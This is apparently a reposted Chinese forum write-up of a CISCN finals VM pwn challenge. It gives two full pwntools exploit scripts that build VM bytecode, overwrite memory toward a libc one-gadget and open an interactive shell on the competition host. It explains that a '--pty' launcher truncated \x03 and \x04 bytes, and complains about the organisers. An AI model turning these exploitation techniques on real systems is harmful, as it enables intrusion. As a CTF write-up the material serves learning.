&nbsp; &nbsp; pushi(6),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; shlr(0,&nbsp;1),
&nbsp; &nbsp; pushi(0x2d),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; sub(6,&nbsp;0), sub(7,&nbsp;0), add(5,&nbsp;1),
&nbsp; &nbsp; pushr(7), pushr(6), pushr(5), pushi(0x61),

&nbsp; &nbsp; memcpy(3,&nbsp;4,&nbsp;0x18+0x18),

&nbsp; &nbsp; pop(7),&nbsp;# 0x1e6b20
b'\0'
])

sla(b'>> ',&nbsp;str(len(payload)).encode())
sa(b'>>', payload)

payload =&nbsp;b''.join([
&nbsp; &nbsp; pushi(0xe),
&nbsp; &nbsp; pop(3),
&nbsp; &nbsp; pushi(8),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; shlr(3,&nbsp;1),
&nbsp; &nbsp; pushi(0x61),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(3,&nbsp;0),
&nbsp; &nbsp; pushi(3),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; shlr(3,&nbsp;0),
&nbsp; &nbsp; add(7,&nbsp;3),
&nbsp; &nbsp; sub(7,&nbsp;1),
&nbsp; &nbsp; pushr(7),
&nbsp; &nbsp; pop(6),
&nbsp; &nbsp; pushi(0x60),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(6,&nbsp;0),

&nbsp; &nbsp; pushi(0x9),
&nbsp; &nbsp; pop(2),
&nbsp; &nbsp; shlr(2,&nbsp;1),
&nbsp; &nbsp; pushi(0x61-3),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(2,&nbsp;0),
&nbsp; &nbsp; sub(5,&nbsp;2),

&nbsp; &nbsp; pushr(0),
&nbsp; &nbsp; pushr(6),
&nbsp; &nbsp; pushr(7),
&nbsp; &nbsp; pushr(5),
&nbsp; &nbsp; pushi(0x61), pushi(0), pushi(0xff),
&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pop(3),
&nbsp; &nbsp; pushi(255-10),
&nbsp; &nbsp; pop(4),

&nbsp; &nbsp; memcpy(3,&nbsp;4,&nbsp;0x18+0x18),

&nbsp; &nbsp; pop(6),&nbsp;#0x130
b'\0'
])

sla(b'>> ',&nbsp;str(len(payload)).encode())
sa(b'>>', payload)

ogg =&nbsp;0xe4d70
# 0x1090b0
payload =&nbsp;b''.join([
&nbsp; &nbsp; pushi(0x1),
&nbsp; &nbsp; pop(2),
&nbsp; &nbsp; pushi(8),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; shlr(2,&nbsp;1),&nbsp;#0x100 (0x30 = 8*6)
&nbsp; &nbsp; sub(6,&nbsp;2),

&nbsp; &nbsp; pushi(0x10),
&nbsp; &nbsp; pop(2),
&nbsp; &nbsp; shlr(2,&nbsp;1),
&nbsp; &nbsp; pushi(0x90),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(2,&nbsp;0),
&nbsp; &nbsp; shlr(2,&nbsp;1),
&nbsp; &nbsp; pushi(0xb0),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(2,&nbsp;0),
&nbsp; &nbsp; sub(7,&nbsp;2),&nbsp;# reg7 = ogg

&nbsp; &nbsp; pushi(0x9),
&nbsp; &nbsp; pop(2),
&nbsp; &nbsp; shlr(2,&nbsp;1),
&nbsp; &nbsp; pushi(0x6f),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(2,&nbsp;0),
&nbsp; &nbsp; add(5,&nbsp;2),

&nbsp; &nbsp; pushi(0x77),
&nbsp; &nbsp; pushr(6),
&nbsp; &nbsp; pushr(6),
&nbsp; &nbsp; pushr(5),
&nbsp; &nbsp; pushi(0x61), pushi(0), pushi(0xff),
&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pop(3),
&nbsp; &nbsp; pushi(255-17),
&nbsp; &nbsp; pop(4),

&nbsp; &nbsp; memcpy(3,&nbsp;4,&nbsp;0x18+0x18),

&nbsp; &nbsp; pushr(7), pushr(7), pushr(7), pushr(7), pushr(7), pushr(7), pushr(7)
])
# gdb.attach(c, gdbs)

sla(b'>> ',&nbsp;str(len(payload)).encode())
sa(b'>>', payload)

c.interactive()

意气风发啊,队友!也就是说,是我们赢了!

02

下一话!猜谜

然后,就发现了这题目前零解是有原因的。

远程的交互竟然与本地不一样,而题目附件和题目描述中并没有给出任何说明。

在远程的交互中,发送的内容会被输出回显并加上 \r\n ,不可见字符会变成 ^* (*代表可见字符,如  \x00 会变成 ^@),是与 qemu 启动的内核题目交互很像的形式。

而 exp 在第二次输入时被截断。

此时,经过询问裁判,裁判与出题人确认后,给我们的答复仅有:”题目附件并没有问题,远程运行的程序与题目附件一致”

我当然知道附件没问题啊,甚至在这种时刻,仍有一个什么也不懂的裁判在不停地质疑我们,为什么不走平台,为什么…

可能这名裁判觉得,他们的比赛办的很好,发出质疑的选手一定是个人有问题。

当我们再询问远程的表现时,裁判模糊的告诉我们:”具体细节不能告知,或许跟容器有关”

“这个也算考点吗?”

“……”

唯有沉默…

当我们连启动脚本和远程环境都没有就让我们猜原因,好的,很符合我对 ctf 题目的印象,远程吗,总有打不通的时候。也许就是我们技不如人,有什么细节疏忽了导致的。

可是这种毫无征兆的 EOF 该怎么调试呢?

或许经验丰富的师傅们,或许接触过这类问题的师傅们能立即知道是为什么。但很可惜,我们缺乏经验,或者应该说,我们认为 ctf pwn 不会在附件和题目描述以外的地方设置无必要的交互门槛。

而我和队友当时在花了三个小时逆向、分析、写exp,而此刻比赛只剩半个小时,没有遇到过这种情况的境地,甚至没有能本地搭建环境的办法,猪脑已过载,开始猜测吧。

好吧,也许是远程堆块不一样,也许是 io 有问题,要用特别的方法传输。

也许是某些字符截断了呢?

带着不甘与疑惑,我们没有在结束前打通远程,我们看到了这题有别的学校拿到了一血,而我们很可惜地错过了解出题目的机会。

……

真是抱歉啊,没能让国赛大人尽兴。

再次回到一个小时前,我还是觉得我们会赢。

03

最后,解密环节

在队友赛后不懈努力下,他试出了 \x03 和 \x04 会被截断,这俩一个 ctrl+c 一个 ctrl+d,答案很明显了。

气笑了。

在不用这两个的情况下,他稍加修改脚本就打通了远程。

拿到了启动脚本。

#!/bin/bash
set&nbsp;-e

# override flag from env
# if environmental variable FLAG is not empty string
if&nbsp;[ ! -z&nbsp;$FLAG&nbsp;]
then
if&nbsp;[&nbsp;"$(cat /home/ctf/flag.txt)"&nbsp;!=&nbsp;"$FLAG"&nbsp;]
then
echo&nbsp;$FLAG&nbsp;> /home/ctf/flag.txt
chmod&nbsp;644 /home/ctf/flag.txt
fi
fi

# the env will not pass to ctf
unset&nbsp;FLAG

cd&nbsp;/home/ctf

# run pwn challenge
exec&nbsp;runuser -u ctf --pty --&nbsp;timeout&nbsp;300 ./pwn

"--pty"

……

我不知道为什么一个没有必要的东西会被加上,我不知道为什么一个普通的 vm pwn 题,要使用 tty,甚至不关闭它的缺点(是的,可以设置即便使用 tty 也不被截断)。

他甚至可以在附件里明文加上:不准使用 \x03 \x04

但是他没有。

我不知道比赛时做出这题的师傅笑没笑,但是我先笑为敬了。

我们没有立刻联想到这个点,我们那半个小时大部分时间在想,堆风水调的不够好,远程直接内存损坏死掉了,看看其他题吧。

我承认技不如人,可我们觉得,一个以 vm pwn 为背景的 ctf 题目不该如此,但凡把启动脚本放在附件中,但凡题目描述提到这个 --pty ,结果都也许会不一样。

压垮选手的最后一根稻草,是在一个跟题目毫无关系的细节上,设置一个毫无意义的障碍,只是为了让选手打不通远程。

我无法相信裁判那句”这是一个故意隐藏的坑点”。与其说这是一个为了出题而出题的设置,这是一个 --pty 启动的 pwn 题,倒不如直接说”出题人使用了一个有问题的模板容器,自己出题的时候都没想到,明明能被 vm 正常解析的 \x03 \x04会被一个没有任何提示,全靠猜测的 tty 截断,而导致使用了 3 号和 4 号寄存器的 payload 打不通”

这不仅仅是一次出题上的疏忽,更是印证了某高校相关工作单位和人员在办赛态度上的敷衍和极度的不负责。

这跟五条悟在释放虚式茈后被腰斩有什么区别呢。

没办法,真没招了,没想到,技不如人,做题做少了,没见过,差一点,这里有无数的解释。

可是,对于这个最后没做出来的题,什么解释都没办法解释我们的遗憾。

我不知道有多少师傅尝试了这个题,希望我的简析能有所帮助,就这样,over。

下面是远程脚本:

#!/bin/python3
from&nbsp;pwn&nbsp;import&nbsp;*
context.arch='amd64'
context.os='linux'
context.log_level =&nbsp;'debug'
context.timeout =&nbsp;10000
# context.terminal = ['tmux', 'splitw', '-h']

li =&nbsp;lambda&nbsp;content,data :&nbsp;print('\x1b[01;38;5;214m'&nbsp;+ content +&nbsp;' = '&nbsp;+&nbsp;hex(data) +&nbsp;'\x1b[0m')
lg =&nbsp;lambda&nbsp;content :&nbsp;print('\x1b[01;38;5;214m'&nbsp;+ content +'\x1b[0m')
sla =&nbsp;lambda&nbsp;data, content: c.sendlineafter(data,content)
sa =&nbsp;lambda&nbsp;data, content: c.sendafter(data,content)
sl =&nbsp;lambda&nbsp;data: c.sendline(data)
s =&nbsp;lambda&nbsp;data: c.send(data)
rl =&nbsp;lambda&nbsp;data: c.recvuntil(data)
re =&nbsp;lambda&nbsp;data: c.recv(data)
l64 =&nbsp;lambda&nbsp; &nbsp; :u64(c.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda&nbsp; &nbsp; &nbsp;:u64(c.recv(6).ljust(8,b'\x00'))

elf=ELF('./pwn')
libc=ELF('./libc.so.6')
gdbs =&nbsp;'''
&nbsp; &nbsp; # b * $rebase(0x1689) if $eax == 6
&nbsp; &nbsp; b * $rebase(0x1857)
&nbsp; &nbsp; # b * $rebase(0x1d48)

&nbsp; &nbsp; set follow-fork-mode child
&nbsp; &nbsp; c
'''

# c=gdb.debug(['./pwn'],gdbs)
# c=process(['./pwn'])
c=remote('192.168.18.24',&nbsp;8888&nbsp;)

pushr =&nbsp;lambda&nbsp;r1:&nbsp;b'2'+bytes([r1])
pushi =&nbsp;lambda&nbsp;i1:&nbsp;b'1'+bytes([i1])
pop =&nbsp;lambda&nbsp;r1:&nbsp;b'3'+bytes([r1])
movr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'4'+bytes([r1, r2])
movi =&nbsp;lambda&nbsp;r1, i1:&nbsp;b'5'+bytes([r1, i1])
memcpy =&nbsp;lambda&nbsp;r1, r2,&nbsp;len:&nbsp;b'6'+bytes([r1, r2,&nbsp;len,&nbsp;0])
andr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'7'+bytes([r1, r2])
orr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'8'+bytes([r1, r2])
xorr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'9'+bytes([r1, r2])
notr =&nbsp;lambda&nbsp;r1:&nbsp;b'@'+bytes([r1])
shrr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'A'+bytes([r1, r2])
shlr =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'B'+bytes([r1, r2])
add =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'C'+bytes([r1, r2])
sub =&nbsp;lambda&nbsp;r1, r2:&nbsp;b'D'+bytes([r1, r2])
jmpi =&nbsp;lambda&nbsp;i1:&nbsp;b'E'+bytes([i1])
bb =&nbsp;lambda&nbsp;:&nbsp;b'\xFF'

def&nbsp;sendpayload(payload :&nbsp;bytes):
&nbsp; &nbsp; sa(b'>> ',&nbsp;str(len(payload)).encode()+b'\n')
&nbsp; &nbsp; c.recvuntil(b'bytecode >>')
assert(b'\x03'&nbsp;not&nbsp;in&nbsp;payload&nbsp;and&nbsp;b'\x04'&nbsp;not&nbsp;in&nbsp;payload)
&nbsp; &nbsp; c.sendline(payload)

payload =&nbsp;b''.join([
b's'
])

sendpayload(payload)

# 0x8f8
payload =&nbsp;b''.join([
&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pushi(255),

&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pushi(255),

&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; pushi(255-6),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; memcpy(1,&nbsp;0,&nbsp;0x18+0x18),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; pop(5), pop(6), pop(7),

&nbsp; &nbsp; pushi(0x49),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; pushi(6),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; shlr(0,&nbsp;1),
&nbsp; &nbsp; pushi(0x2d+8),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; sub(6,&nbsp;0), sub(7,&nbsp;0), add(5,&nbsp;1),
&nbsp; &nbsp; pushr(7), pushr(6), pushr(5), pushi(0x61),

&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; pushi(255-6),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; memcpy(0,&nbsp;1,&nbsp;0x18+0x18),

&nbsp; &nbsp; pop(7),&nbsp;# 0x1e6b20
b's'
])

sendpayload(payload)

payload =&nbsp;b''.join([
&nbsp; &nbsp; pushi(0xe),
&nbsp; &nbsp; pop(2),
&nbsp; &nbsp; pushi(8),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; shlr(2,&nbsp;1),
&nbsp; &nbsp; pushi(0x61),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(2,&nbsp;0),
&nbsp; &nbsp; pushi(1),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; shlr(2,&nbsp;0),
&nbsp; &nbsp; shlr(2,&nbsp;0),
&nbsp; &nbsp; shlr(2,&nbsp;0),
&nbsp; &nbsp; add(7,&nbsp;2),
&nbsp; &nbsp; sub(7,&nbsp;1),
&nbsp; &nbsp; pushr(7),
&nbsp; &nbsp; pop(6),
&nbsp; &nbsp; pushi(0x60),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(6,&nbsp;0),

&nbsp; &nbsp; pushi(0x9),
&nbsp; &nbsp; pop(2),
&nbsp; &nbsp; shlr(2,&nbsp;1),
&nbsp; &nbsp; pushi(0x60),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(2,&nbsp;0),
&nbsp; &nbsp; sub(5,&nbsp;2),

&nbsp; &nbsp; pushr(0),
&nbsp; &nbsp; pushr(6),
&nbsp; &nbsp; pushr(7),
&nbsp; &nbsp; pushr(5),
&nbsp; &nbsp; pushi(0x61), pushi(0), pushi(0xff),
&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; pushi(255-10),
&nbsp; &nbsp; pop(1),

&nbsp; &nbsp; memcpy(0,&nbsp;1,&nbsp;0x18+0x18),

&nbsp; &nbsp; pop(6),&nbsp;#0x130
b'\0'
])

sendpayload(payload)

ogg =&nbsp;0xe4d70
# 0x1090b0
payload =&nbsp;b''.join([
&nbsp; &nbsp; pushi(0x7),
&nbsp; &nbsp; pop(2),
&nbsp; &nbsp; pushi(5),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; shlr(2,&nbsp;1),&nbsp;#0x100 (0x30 = 8*6)
&nbsp; &nbsp; sub(6,&nbsp;2),

&nbsp; &nbsp; pushi(0x10),
&nbsp; &nbsp; pop(2),
&nbsp; &nbsp; pushi(8),
&nbsp; &nbsp; pop(1),
&nbsp; &nbsp; shlr(2,&nbsp;1),
&nbsp; &nbsp; pushi(0x90),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(2,&nbsp;0),
&nbsp; &nbsp; shlr(2,&nbsp;1),
&nbsp; &nbsp; pushi(0xb0),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(2,&nbsp;0),
&nbsp; &nbsp; sub(7,&nbsp;2),&nbsp;# reg7 = ogg

&nbsp; &nbsp; pushi(0x9),
&nbsp; &nbsp; pop(2),
&nbsp; &nbsp; shlr(2,&nbsp;1),
&nbsp; &nbsp; pushi(0x6d),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; add(2,&nbsp;0),
&nbsp; &nbsp; add(5,&nbsp;2),

&nbsp; &nbsp; pushi(0x77),
&nbsp; &nbsp; pushr(6),
&nbsp; &nbsp; pushr(6),
&nbsp; &nbsp; pushr(5),
&nbsp; &nbsp; pushi(0x61), pushi(0), pushi(0xff),
&nbsp; &nbsp; pushi(255),
&nbsp; &nbsp; pop(0),
&nbsp; &nbsp; pushi(255-17),
&nbsp; &nbsp; pop(1),

&nbsp; &nbsp; memcpy(0,&nbsp;1,&nbsp;0x18+0x18),

&nbsp; &nbsp; pushr(7), pushr(7), pushr(7), pushr(7), pushr(7),
&nbsp; &nbsp; pushr(7), pushr(7), pushr(7), pushr(7), pushr(7), pushr(7)
])
# gdb.attach(c, gdbs)

sendpayload(payload)

c.interactive()

或许有师傅不清楚 pty以及 \x03 \x04被截断的原理,这里打两天比赛再赶回去上班已经有点力竭了,所以很抱歉,麻烦问问 ai 吧,我已经没有力气整理了。

关于最后领奖 & 赛后打通这题队友的趣事补充

“已经改签了一次,还有 50 分钟发车,可奖状还没发。”

“退票了,已经赶不上了。”

“会有招的,又不是用 pty 交互的 pwn 题”

04

关于 awdp 平台的 fix 环节笑谈

为什么我们遇到远程不一样会直接喊裁判,因为我们 fix 时发现有问题询问裁判,而裁判自己都不知道运行update.sh的工作目录在哪,甚至有的题目给出的模板脚本在远程运行时报错(题目附件中的模板有一行 set -euo pipefail ,显然没有人在赛前测试这些题目并检查附件内容),导致我们白费了好长时间。

很难想象这是 cn ctf 规模最大的比赛之一该有的题目质量。

讽刺的是,最后能成功 fix 的原因是,我们打通了防守 URL 的机器,看到了远程仍在运行的旧进程,才知道这个神仙平台是先启动服务进程,再执行 update.sh

……

在后面做 ctf 时已经 ptsd 了,谁能想到在 pwn 的 awdp 中也要自己重启服务才能 fix 成功呢?谁又能想到,在一个普通的 ctf vm pwn 中,偏偏要用 –pty 启动题目呢?

看雪ID:一叶梦花

https://bbs.kanxue.com/user-home-1002422.htm

*本文为看雪论坛精华文章,由 一叶梦花 原创,转载请注明来自看雪社区

售票开启!10月23日上海见

往期推荐

Frida 整体启动逻辑

VT调试器原理揭秘–DebugPort转移与重建调试体系

App 抽取壳的内存脱壳与请求签名逆向

ART 执行链与 Nterp:解析 FART Android12‑16 失效问题

Hitcon-2016-babytrick 解题报告

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 一叶梦花 一叶梦花《一场 VM 题目的逆向与利用分析:CISCN 决赛 Pwn01 复盘》

评论:0   参与:  0